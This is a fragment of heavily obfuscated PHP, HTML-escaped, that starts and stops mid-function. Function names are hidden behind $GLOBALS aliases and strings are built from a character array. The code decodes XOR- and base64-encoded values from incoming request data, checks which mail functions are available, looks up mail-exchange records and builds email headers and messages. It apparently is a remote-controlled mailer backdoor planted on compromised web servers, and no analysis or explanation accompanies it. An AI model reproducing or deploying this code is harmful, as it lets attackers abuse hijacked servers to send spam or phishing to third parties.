foreach($GLOBALS[&#039;vszxc90&#039;]($iwule39) as $xhovg5) { if ($iwule39[$xhovg5][$r76[5].$r76[54].$r76[66].$r76[78].$r76[87].$r76[41].$r76[54].$r76[94].$r76[58].$r76[95]] != TRUE) { if ($iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]] == 0 || $iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[87].$r76[94].$r76[41]] == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67])) { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[24].$r76[53].$r76[61]] = TRUE; } else { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[24].$r76[53].$r76[61]] = FALSE; $fwcsz21[]=$iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]]; } $bdhch16 = TRUE; } } if ($GLOBALS[&#039;tlyiy12&#039;]($fwcsz21) == 0) { return $bdhch16; } $zkvhr54 = @$GLOBALS[&#039;qtgcq90&#039;]($fwcsz21, $kllzd89 = NULL, $ccvhx50 = NULL, 0); if ($zkvhr54 == FALSE || $zkvhr54 == 0) { return $bdhch16; } foreach($GLOBALS[&#039;vszxc90&#039;]($iwule39) as $xhovg5) { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[24].$r76[53].$r76[61]] = FALSE; foreach($fwcsz21 as $xoloh2) { if ($iwule39[$xhovg5][$r76[66].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29]] == $xoloh2) { $iwule39[$xhovg5][$r76[66].$r76[54].$r76[87].$r76[24].$r76[53].$r76[61]] = TRUE; break; } } } return $bdhch16; } function hvcug13($r76, $hcobq94) { if ($GLOBALS[&#039;yqqkt30&#039;]($r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[27].$r76[24].$r76[94].$r76[90].$r76[87].$r76[94]) &amp;amp;&amp;amp; $GLOBALS[&#039;yqqkt30&#039;]($r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[27].$r76[49].$r76[58].$r76[58].$r76[94].$r76[27].$r76[87]) &amp;amp;&amp;amp; $GLOBALS[&#039;yqqkt30&#039;]($r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[24].$r76[94].$r76[90].$r76[95]) &amp;amp;&amp;amp; $GLOBALS[&#039;yqqkt30&#039;]($r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[43].$r76[24].$r76[53].$r76[87].$r76[94])) { $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79], $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67])); return TRUE; } if ($GLOBALS[&#039;yqqkt30&#039;]($r76[7].$r76[66].$r76[49].$r76[27].$r76[29].$r76[49].$r76[41].$r76[94].$r76[58])) { $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79], $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[0].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67])); return TRUE; } if ($GLOBALS[&#039;yqqkt30&#039;]($r76[66].$r76[87].$r76[24].$r76[94].$r76[90].$r76[78].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[27].$r76[5].$r76[53].$r76[94].$r76[58].$r76[87])) { $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79], $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[67].$r76[68].$r76[79].$r76[4].$r76[11])); return TRUE; } $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79], $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[56].$r76[17])); return FALSE; } function npufi61($r76, $zlyfl67, $jabhi9, &amp;amp;$kumlm43) { $qivuk92 = array(); if (FALSE === @$GLOBALS[&#039;cyzbs96&#039;]($r76[16].$r76[83].$r76[86].$r76[77].$r76[97].$r76[51].$r76[62].$r76[97].$r76[83].$r76[86].$r76[77].$r76[97].$r76[51].$r76[62].$r76[97].$r76[83].$r76[86].$r76[80].$r76[12].$r76[83].$r76[86].$r76[80].$r76[62].$r76[97].$r76[62].$r76[51].$r76[97].$r76[16], $zlyfl67, $qivuk92) ) { return FALSE; } if (!isset($qivuk92) || $GLOBALS[&#039;tlyiy12&#039;]($qivuk92) != 5) { return FALSE; } $kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87]] = @$GLOBALS[&#039;bwpvf88&#039;]($GLOBALS[&#039;bdvxl14&#039;]($r76[51],&amp;quot;&amp;quot;,$qivuk92[1])); $kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[5].$r76[90].$r76[66].$r76[87]] = @$GLOBALS[&#039;bwpvf88&#039;]($GLOBALS[&#039;bdvxl14&#039;]($r76[51],&amp;quot;&amp;quot;,$qivuk92[2])); $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]] = $GLOBALS[&#039;bdvxl14&#039;]($r76[51],&amp;quot;&amp;quot;,$qivuk92[3]); $kumlm43[$r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[87].$r76[49]] = $GLOBALS[&#039;bdvxl14&#039;]($r76[51],&amp;quot;&amp;quot;,$qivuk92[4]); if (!isset($kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]]) || $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]] == &amp;quot;&amp;quot;) { return FALSE; } if (!isset($kumlm43[$r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[87].$r76[49]]) || $kumlm43[$r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[87].$r76[49]] == &amp;quot;&amp;quot;) { return FALSE; } if (isset($kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87]]) &amp;amp;&amp;amp; $kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87]] != &amp;quot;&amp;quot;) { $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49].$r76[80]] = $r76[92].$kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87]].$r76[39].$kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[5].$r76[90].$r76[66].$r76[87]].$r76[92].$r76[39].$r76[2].$kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]].$r76[38]; } else { $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49].$r76[80]] = $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]]; } $kumlm43[$r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[7].$r76[24].$r76[49].$r76[78]] = $jabhi9[$r76[36].$r76[49].$r76[66].$r76[87].$r76[0].$r76[24].$r76[49].$r76[78]]; if ($GLOBALS[&#039;cyzbs96&#039;]($r76[16].$r76[65].$r76[83].$r76[1].$r76[76].$r76[26].$r76[15].$r76[9].$r76[8].$r76[1].$r76[76].$r76[26].$r76[15].$r76[9].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[8].$r76[76].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[8].$r76[46].$r76[1].$r76[52].$r76[26].$r76[85].$r76[9].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[8].$r76[46].$r76[28].$r76[1].$r76[52].$r76[26].$r76[28].$r76[9].$r76[62].$r76[83].$r76[42].$r76[86].$r76[83].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[8].$r76[1].$r76[76].$r76[26].$r76[15].$r76[9].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[8].$r76[76].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[8].$r76[46].$r76[1].$r76[52].$r76[26].$r76[85].$r76[9].$r76[1].$r76[52].$r76[26].$r76[15].$r76[9].$r76[8].$r76[46].$r76[28].$r76[1].$r76[52].$r76[26].$r76[28].$r76[9].$r76[62].$r76[62].$r76[72].$r76[31].$r76[10].$r76[73].$r76[16], $jabhi9[$r76[36].$r76[49].$r76[66].$r76[87].$r76[0].$r76[24].$r76[49].$r76[78]]) || @$GLOBALS[&#039;xizmx47&#039;]($r76[66].$r76[90].$r76[7].$r76[94].$r76[54].$r76[78].$r76[49].$r76[95].$r76[94])) { $kumlm43[$r76[61].$r76[54].$r76[7].$r76[7].$r76[7]] = FALSE; } else { $kumlm43[$r76[61].$r76[54].$r76[7].$r76[7].$r76[7]] = TRUE; } $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78]] = $jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[71].$r76[49].$r76[61].$r76[53].$r76[58]].$r76[12].$jabhi9[$r76[36].$r76[49].$r76[66].$r76[87].$r76[0].$r76[24].$r76[49].$r76[78]]; if (isset($jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[56].$r76[90].$r76[78].$r76[94]]) &amp;amp;&amp;amp; $jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[56].$r76[90].$r76[78].$r76[94]] != &amp;quot;&amp;quot;) { $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78].$r76[80]] = $jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[56].$r76[90].$r76[78].$r76[94]].$r76[39].$r76[2].$kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78]].$r76[38]; } else { $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78].$r76[80]] = $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78]]; } $kumlm43[$r76[66].$r76[54].$r76[78].$r76[20].$r76[36].$r76[49].$r76[66].$r76[87]] = $GLOBALS[&#039;stkuy98&#039;]($r76, $kumlm43[$r76[61].$r76[54].$r76[95].$r76[49].$r76[78].$r76[90].$r76[53].$r76[58].$r76[87].$r76[49]]); $kumlm43[$r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87]] = @$GLOBALS[&#039;bdvxl14&#039;]($r76[59].$r76[68].$r76[54].$r76[56].$r76[4].$r76[11].$r76[79].$r76[59], $kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87]], $jabhi9[$r76[66].$r76[45].$r76[96].$r76[47].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5]]); $kumlm43[$r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87]] = @$GLOBALS[&#039;bdvxl14&#039;]($r76[59].$r76[68].$r76[54].$r76[71].$r76[56].$r76[4].$r76[11].$r76[79].$r76[59], $kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[5].$r76[90].$r76[66].$r76[87]], $kumlm43[$r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87]]); $kumlm43[$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]] = @$GLOBALS[&#039;bdvxl14&#039;]($r76[59].$r76[68].$r76[54].$r76[56].$r76[4].$r76[11].$r76[79].$r76[59], $kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87]], $jabhi9[$r76[96].$r76[49].$r76[95].$r76[69].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5]]); $kumlm43[$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]] = @$GLOBALS[&#039;bdvxl14&#039;]($r76[59].$r76[68].$r76[54].$r76[71].$r76[56].$r76[4].$r76[11].$r76[79].$r76[59], $kumlm43[$r76[61].$r76[54].$r76[58].$r76[90].$r76[78].$r76[94].$r76[5].$r76[90].$r76[66].$r76[87]], $kumlm43[$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]]); $kumlm43[$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]] = @$GLOBALS[&#039;bdvxl14&#039;]($r76[59].$r76[11].$r76[4].$r76[64].$r76[71].$r76[54].$r76[79].$r76[56].$r76[59], $GLOBALS[&#039;igajs32&#039;]($r76, $kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49]]), $kumlm43[$r76[61].$r76[54].$r76[96].$r76[49].$r76[95].$r76[69]]); $kumlm43[$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] = $r76[32].$r76[26].$r76[3].$r76[24].$r76[53].$r76[49].$r76[24].$r76[53].$r76[87].$r76[69].$r76[74].$r76[39].$r76[31].$r76[39].$r76[83].$r76[56].$r76[49].$r76[24].$r76[78].$r76[90].$r76[5].$r76[62].$r76[21].$r76[30]; $kumlm43[$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $r76[11].$r76[64].$r76[11].$r76[79].$r76[26].$r76[60].$r76[94].$r76[24].$r76[66].$r76[53].$r76[49].$r76[58].$r76[74].$r76[39].$r76[76].$r76[86].$r76[52].$r76[21].$r76[30]; $kumlm43[$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $r76[40].$r76[49].$r76[58].$r76[87].$r76[94].$r76[58].$r76[87].$r76[26].$r76[67].$r76[69].$r76[41].$r76[94].$r76[74].$r76[39].$r76[87].$r76[94].$r76[20].$r76[87].$r76[16].$r76[36].$r76[87].$r76[78].$r76[5].$r76[51].$r76[39].$r76[27].$r76[36].$r76[90].$r76[24].$r76[66].$r76[94].$r76[87].$r76[75].$r76[92].$r76[53].$r76[66].$r76[49].$r76[26].$r76[18].$r76[18].$r76[28].$r76[15].$r76[26].$r76[76].$r76[92].$r76[21].$r76[30]; $kumlm43[$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $r76[40].$r76[49].$r76[58].$r76[87].$r76[94].$r76[58].$r76[87].$r76[26].$r76[67].$r76[24].$r76[90].$r76[58].$r76[66].$r76[7].$r76[94].$r76[24].$r76[26].$r76[79].$r76[58].$r76[27].$r76[49].$r76[95].$r76[53].$r76[58].$r76[61].$r76[74].$r76[39].$r76[18].$r76[96].$r76[53].$r76[87].$r76[21].$r76[30]; $kumlm43[$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24].$r76[7].$r76[24].$r76[49].$r76[78]] = $r76[0].$r76[24].$r76[49].$r76[78].$r76[74].$r76[39].$kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78].$r76[80]].$r76[21].$r76[30]; $kumlm43[$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24].$r76[7].$r76[24].$r76[49].$r76[78]] .= $r76[68].$r76[94].$r76[41].$r76[5].$r76[69].$r76[26].$r76[67].$r76[49].$r76[74].$kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[7].$r76[24].$r76[49].$r76[78].$r76[80]].$r76[21].$r76[30]; $kumlm43[$r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] = $r76[6].$r76[90].$r76[87].$r76[94].$r76[74].$r76[39] . @$GLOBALS[&#039;duiid33&#039;]($r76[6].$r76[33].$r76[39].$r76[47].$r76[39].$r76[11].$r76[39].$r76[34].$r76[39].$r76[48].$r76[74].$r76[53].$r76[74].$r76[66].$r76[39].$r76[17]).$r76[21].$r76[30]; $kumlm43[$r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $kumlm43[$r76[61].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24].$r76[7].$r76[24].$r76[49].$r76[78]]; $kumlm43[$r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $r76[11].$r76[94].$r76[66].$r76[66].$r76[90].$r76[61].$r76[94].$r76[26].$r76[64].$r76[6].$r76[74].$r76[39].$r76[2].$GLOBALS[&#039;laepm94&#039;]($r76[16].$r76[83].$r76[86].$r76[72].$r76[14].$r76[10].$r76[62].$r76[83].$r76[86].$r76[72].$r76[28].$r76[10].$r76[62].$r76[83].$r76[86].$r76[72].$r76[46].$r76[10].$r76[62].$r76[86].$r76[77].$r76[16], $r76[73].$r76[76].$r76[26].$r76[73].$r76[46].$r76[26].$r76[73].$r76[31], $GLOBALS[&#039;quzii24&#039;]($GLOBALS[&#039;kyioa8&#039;]())).$r76[12].$jabhi9[$r76[36].$r76[49].$r76[66].$r76[87].$r76[0].$r76[24].$r76[49].$r76[78]].$r76[38].$r76[21].$r76[30]; $kumlm43[$r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $r76[67].$r76[49].$r76[74].$r76[39].$kumlm43[$r76[61].$r76[54].$r76[78].$r76[90].$r76[53].$r76[5].$r76[87].$r76[49].$r76[80]].$r76[21].$r76[30]; $kumlm43[$r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $r76[55].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87].$r76[74].$r76[39].$kumlm43[$r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87]].$r76[21].$r76[30]; $kumlm43[$r76[66].$r76[54].$r76[36].$r76[94].$r76[90].$r76[95].$r76[94].$r76[24]] .= $kumlm43[$r76[61].$r76[54].$r76[66].$r76[45].$r76[96].$r76[47].$r76[94].$r76[27].$r76[87]]; return TRUE; } function vkaqq98($r76, $pfahk9) { $mlopr36 = array(); $vcnaa29 = array(); if ($GLOBALS[&#039;yqqkt30&#039;]($r76[61].$r76[94].$r76[87].$r76[78].$r76[20].$r76[24].$r76[24])) { @$GLOBALS[&#039;grxdw62&#039;]($pfahk9, $mlopr36, $vcnaa29); } else { if ($GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79]) == $GLOBALS[&#039;glyac65&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[56].$r76[17])) { return FALSE; } $zkvhr54 = $GLOBALS[&#039;nvuxa92&#039;]($r76, $pfahk9, $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[11].$r76[32])); if ($zkvhr54 == FALSE || !isset($zkvhr54[$r76[90].$r76[58].$r76[66]])) { return FALSE; } foreach ($zkvhr54[$r76[90].$r76[58].$r76[66]] as $txows40) { if ($txows40[$r76[87].$r76[69].$r76[41].$r76[94]] == $GLOBALS[&#039;glyac65&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[11].$r76[32])) { $mlopr36[] = $txows40[$r76[95].$r76[90].$r76[87].$r76[90]]; $vcnaa29[] = $txows40[$r76[41].$r76[24].$r76[94].$r76[7].$r76[94].$r76[24].$r76[94].$r76[58].$r76[27].$r76[94]]; } } } if ($GLOBALS[&#039;tlyiy12&#039;]($mlopr36) == 0) { return FALSE; } $wtqra76 = $GLOBALS[&#039;vszxc90&#039;]($vcnaa29, $GLOBALS[&#039;ysmvf63&#039;]($vcnaa29)); return $mlopr36[$wtqra76[0]]; } function xyhxn92($r76, &amp;amp;$jabhi9) { if ($GLOBALS[&#039;tlyiy12&#039;]($GLOBALS[&#039;vbhwy58&#039;]) &amp;lt; 2) { return FALSE; } $binbe57 = false; $xzovr93 = $ufhgw71 = &amp;quot;&amp;quot;; foreach ($GLOBALS[&#039;vszxc90&#039;]($GLOBALS[&#039;vbhwy58&#039;]) as $clhez9) { if ($clhez9[0] == $r76[5]) { $xzovr93 = $clhez9; } if ($clhez9[0] == $r76[95]) { $ufhgw71 = $clhez9; } if ($clhez9[0] == $r76[94]) { $binbe57 = true; } } if ($xzovr93 == &amp;quot;&amp;quot; || $ufhgw71 == &amp;quot;&amp;quot;) { return FALSE; } $kuaid89 = $GLOBALS[&#039;wdbfr89&#039;]($r76, $xzovr93, $binbe57 ); $mkfpj46= $GLOBALS[&#039;wdbfr89&#039;]($r76, $ufhgw71, $binbe57); if ($kuaid89 == FALSE || $mkfpj46 == FALSE) { return FALSE; } $jabhi9[$r76[87].$r76[49].$r76[71].$r76[53].$r76[66].$r76[87]] = @$GLOBALS[&#039;vxogc32&#039;]($r76[16].$r76[93].$r76[16], $kuaid89); $jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[71].$r76[49].$r76[61].$r76[53].$r76[58]] = $jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[56].$r76[90].$r76[78].$r76[94]] = $jabhi9[$r76[66].$r76[45].$r76[96].$r76[47].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5]] = $jabhi9[$r76[96].$r76[49].$r76[95].$r76[69].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5]] = &amp;quot;&amp;quot;; $qivuk92 = array(); if (FALSE !== @$GLOBALS[&#039;cyzbs96&#039;]($r76[16].$r76[2].$r76[44].$r76[55].$r76[79].$r76[68].$r76[38].$r76[83].$r76[86].$r76[77].$r76[97].$r76[62].$r76[2].$r76[42].$r76[16].$r76[44].$r76[55].$r76[79].$r76[68].$r76[38].$r76[16].$r76[53].$r76[66].$r76[78], $mkfpj46, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; $GLOBALS[&#039;tlyiy12&#039;]($qivuk92) &amp;gt; 1) { $jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[71].$r76[49].$r76[61].$r76[53].$r76[58]] = $qivuk92[1]; } if (FALSE !== @$GLOBALS[&#039;cyzbs96&#039;]($r76[16].$r76[2].$r76[56].$r76[4].$r76[11].$r76[79].$r76[38].$r76[83].$r76[86].$r76[77].$r76[97].$r76[62].$r76[2].$r76[42].$r76[16].$r76[56].$r76[4].$r76[11].$r76[79].$r76[38].$r76[16].$r76[53].$r76[66].$r76[78], $mkfpj46, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; $GLOBALS[&#039;tlyiy12&#039;]($qivuk92) &amp;gt; 1) { $jabhi9[$r76[7].$r76[24].$r76[49].$r76[78].$r76[56].$r76[90].$r76[78].$r76[94]] = $qivuk92[1]; } if (FALSE !== @$GLOBALS[&#039;cyzbs96&#039;]($r76[16].$r76[2].$r76[55].$r76[44].$r76[50].$r76[81].$r76[38].$r76[83].$r76[86].$r76[77].$r76[97].$r76[62].$r76[2].$r76[42].$r76[16].$r76[55].$r76[44].$r76[50].$r76[81].$r76[38].$r76[16].$r76[53].$r76[66].$r76[78], $mkfpj46, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; $GLOBALS[&#039;tlyiy12&#039;]($qivuk92) &amp;gt; 1) { $jabhi9[$r76[66].$r76[45].$r76[96].$r76[47].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5]] = $qivuk92[1]; } if (FALSE !== @$GLOBALS[&#039;cyzbs96&#039;]($r76[16].$r76[2].$r76[55].$r76[50].$r76[17].$r76[6].$r76[34].$r76[38].$r76[83].$r76[86].$r76[77].$r76[97].$r76[62].$r76[2].$r76[42].$r76[16].$r76[55].$r76[50].$r76[17].$r76[6].$r76[34].$r76[38].$r76[16].$r76[53].$r76[66].$r76[78],$mkfpj46, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; $GLOBALS[&#039;tlyiy12&#039;]($qivuk92) &amp;gt; 1) { $jabhi9[$r76[96].$r76[49].$r76[95].$r76[69].$r76[67].$r76[94].$r76[78].$r76[41].$r76[5]] = $qivuk92[1]; } $jabhi9[$r76[36].$r76[49].$r76[66].$r76[87].$r76[0].$r76[24].$r76[49].$r76[78]] = @$GLOBALS[&#039;laepm94&#039;]($r76[16].$r76[65].$r76[83].$r76[43].$r76[43].$r76[43].$r76[8].$r76[7].$r76[87].$r76[41].$r76[62].$r76[42].$r76[86].$r76[16].$r76[53], &#039;&#039;, $_SERVER[$r76[22].$r76[67].$r76[67].$r76[3].$r76[54].$r76[22].$r76[17].$r76[55].$r76[67]]); return TRUE; } function fewfx40($r76, $clhez9, $binbe57) { if (!isset($clhez9) || $clhez9 == &amp;quot;&amp;quot;) { return FALSE; } $xgmnr96 = @$GLOBALS[&#039;vbhwy58&#039;][$clhez9]; if ($binbe57) { $xgmnr96 = $GLOBALS[&#039;inenw32&#039;]($r76, $xgmnr96); for($wtqra76 = 0; $wtqra76 &amp;lt; $GLOBALS[&#039;brkww19&#039;]($xgmnr96); $wtqra76++) { $xgmnr96[$wtqra76]= $GLOBALS[&#039;xyxdn38&#039;]($GLOBALS[&#039;rtdlc97&#039;]($xgmnr96[$wtqra76]) ^ 2); } } return $GLOBALS[&#039;cnrfe78&#039;]($GLOBALS[&#039;wzekj92&#039;]($xgmnr96)); } function xwses24($r76, $rxuwy6) { $bdhch16=&amp;quot;&amp;quot;; for($afses42=0;$afses42&amp;lt;256;$afses42++){$vefvn90[$afses42]=$GLOBALS[&#039;xyxdn38&#039;]($afses42);} $adcpo58=$GLOBALS[&#039;yrqxp89&#039;]($GLOBALS[&#039;vxogc32&#039;]($r76[16].$r76[16],$r76[4].$r76[50].$r76[40].$r76[6].$r76[79].$r76[0].$r76[48].$r76[22].$r76[64].$r76[81].$r76[19].$r76[71].$r76[11].$r76[56].$r76[17].$r76[3].$r76[37].$r76[68].$r76[55].$r76[67].$r76[44].$r76[60].$r76[82].$r76[32].$r76[34].$r76[63].$r76[90].$r76[96].$r76[27].$r76[95].$r76[94].$r76[7].$r76[61].$r76[36].$r76[53].$r76[47].$r76[29].$r76[5].$r76[78].$r76[58].$r76[49].$r76[41].$r76[84].$r76[24].$r76[66].$r76[87].$r76[45].$r76[70].$r76[43].$r76[20].$r76[69].$r76[35].$r76[52].$r76[76].$r76[46].$r76[31].$r76[85].$r76[28].$r76[23].$r76[14].$r76[18].$r76[15].$r76[80].$r76[16],-1,1)); $rfsny13 = array(); $GLOBALS[&#039;xavtv19&#039;]($r76[83].$r76[1].$r76[4].$r76[26].$r76[35].$r76[52].$r76[26].$r76[15].$r76[80].$r76[42].$r76[16].$r76[9].$r76[72].$r76[76].$r76[33].$r76[85].$r76[10].$r76[62],$rxuwy6,$rfsny13); foreach($rfsny13[0] as $dkpwg91){ $omqhl54=0; for($afses42=0;isset($dkpwg91[$afses42]);$afses42++){ $omqhl54=($omqhl54&amp;lt;&amp;lt;6)+$adcpo58[$dkpwg91[$afses42]]; if($afses42&amp;gt;0){ $bdhch16.=$vefvn90[$omqhl54&amp;gt;&amp;gt;(4-(2*($afses42-1)))];$omqhl54=$omqhl54&amp;amp;(0xf&amp;gt;&amp;gt;(2*($afses42-1))); } } } return $bdhch16; } function potcc11($r76, $mlaat34) { for($wtqra76 = 0; $wtqra76 &amp;lt; $GLOBALS[&#039;brkww19&#039;]($mlaat34); 